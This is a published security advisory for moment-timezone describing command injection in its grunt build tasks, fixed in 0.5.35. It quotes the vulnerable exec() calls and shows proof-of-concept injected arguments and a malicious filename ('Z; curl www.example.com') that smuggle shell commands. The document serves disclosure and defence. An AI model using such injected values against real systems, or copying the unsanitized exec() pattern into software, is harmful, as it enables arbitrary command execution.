Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS01Nng0LWo3cDktZmNmOc4AAui0

Command Injection in moment-timezone

Impact

All versions of moment-timezone from 0.1.0 contain build tasks vulnerable to command injection.

Am I affected?

Do you build custom versions of moment-timezone with grunt?

If no, you're not affected.

Do you allow a third party to specify which particular version you want build?

If yes, you're vulnerable to command injection -- third party may execute arbitrary commands on the system running grunt task with the same privileges as grunt task.

Description

Command Injection via grunt-zdownload.js and MITM on iana's ftp endpoint

The tasks/data-download.js script takes in a parameter from grunt and uses it to form a command line which is then executed:

6  module.exports = function (grunt) {
7      grunt.registerTask('data-download', '1. Download data from iana.org/time-zones.', function (version) {
8          version = version || 'latest';

10          var done  = this.async(),
11              src   = 'ftp://ftp.iana.org/tz/tzdata-latest.tar.gz',
12              curl  = path.resolve('temp/curl', version, 'data.tar.gz'),
13              dest  = path.resolve('temp/download', version);
...
24          exec('curl ' + src + ' -o ' + curl + ' && cd ' + dest + ' && gzip -dc ' + curl + ' | tar -xf -', function (err) {

Ordinarily, one one run this script using something like grunt data-download:2014d, in which case version would have the value 2014d. However, if an attacker were to provide additional content on the command line, they would be able to execute arbitrary code

root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-download:2014d ; echo flag>/tmp/foo #'
\Running "data-download:2014d ; echo flag>/tmp/foo #" (data-download) task
>> Downloading https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz
>> Downloaded https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz

Done.
root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/foo
flag

Command Injection via data-zdump.js

The tasks/data-zdump.js script reads a list of files present in a temporary directory (created by previous tasks), and for each one, assembles and executes a command line without sanitization. As a result, an attacker able to influence the contents of that directory could gain code execution. This attack is exacerbated by timezone data being downloaded via cleartext FTP (described above), but beyond that, an attacker at iana.org able to modify the timezone files could disrupt any systems that build moment-timezone.

15              files     = grunt.file.expand({ filter : 'isFile', cwd : 'temp/zic/' + version }, '**/*');
...
27          function next () {
...
33              var file = files.pop(),
34                  src  = path.join(zicBase, file),
35                  dest = path.join(zdumpBase, file);
36              exec('zdump -v ' + src, { maxBuffer: 20*1024*1024 }, function (err, stdout) {

In this case, an attacker able to add a file to temp/zic/2014d (for example) with a filename like Z; curl www.example.com would influence the called to exec on line 36 and run arbitrary code. There are a few minor challenges in exploiting this, since the string needs to be a valid filename.

Command Injection via data-zic.js

Similar to the vulnerability in /tasks/data-download.js, the /tasks/data-zic.js script takes a version from the command line and uses it as part of a command line, executed without sanitization.

10          var done  = this.async(),
11              dest  = path.resolve('temp/zic', version),
...
22              var file = files.shift(),
23                  src = path.resolve('temp/download', version, file);
24
25              exec('zic -d ' + dest + ' ' + src, function (err) {

As a result, an attacker able to influence that string can run arbitrary commands. Of course, it requires an attacker able to influence the command passed to grunt, so may be unlikely in practice.

root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-zic:2014d; echo hi > /tmp/evil; echo '
Running "data-zic:2014d; echo hi > /tmp/evil; echo " (data-zic) task
exec: zid -d /usr/src/app/moment-timezone/temp/zic/2014d; echo hi > /tmp/evil; echo  /usr/src/app/moment-timezone/temp/download/2014d; echo hi > /tmp/evil; echo /africa
...

root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/evil
hi

Patches

The supplied patch on top of 0.5.34 is applicable with minor tweaks to all affected versions. It switches exec to execFile so arbitrary bash fragments won't be executed any more.

References

Permalink: https://github.com/advisories/GHSA-56x4-j7p9-fcf9
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Nng0LWo3cDktZmNmOc4AAui0
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: over 1 year ago
Updated: over 1 year ago


Identifiers: GHSA-56x4-j7p9-fcf9
References: Repository: https://github.com/moment/moment-timezone
Blast Radius: 0.0

Affected Packages

npm:moment-timezone
Dependent packages: 6,189
Dependent repositories: 318,273
Downloads: 40,400,279 last month
Affected Version Ranges: >= 0.1.0, < 0.5.35
Fixed in: 0.5.35
All affected versions: 0.1.0, 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4, 0.2.5, 0.3.0, 0.3.1, 0.4.0, 0.4.1, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.5.6, 0.5.7, 0.5.8, 0.5.9, 0.5.10, 0.5.11, 0.5.12, 0.5.13, 0.5.14, 0.5.15, 0.5.16, 0.5.17, 0.5.18, 0.5.19, 0.5.20, 0.5.21, 0.5.22, 0.5.23, 0.5.24, 0.5.25, 0.5.26, 0.5.27, 0.5.28, 0.5.29, 0.5.30, 0.5.31, 0.5.32, 0.5.33, 0.5.34
All unaffected versions: 0.0.1, 0.0.2, 0.0.3, 0.0.5, 0.0.6, 0.5.35, 0.5.36, 0.5.37, 0.5.38, 0.5.39, 0.5.40, 0.5.41, 0.5.42, 0.5.43, 0.5.44, 0.5.45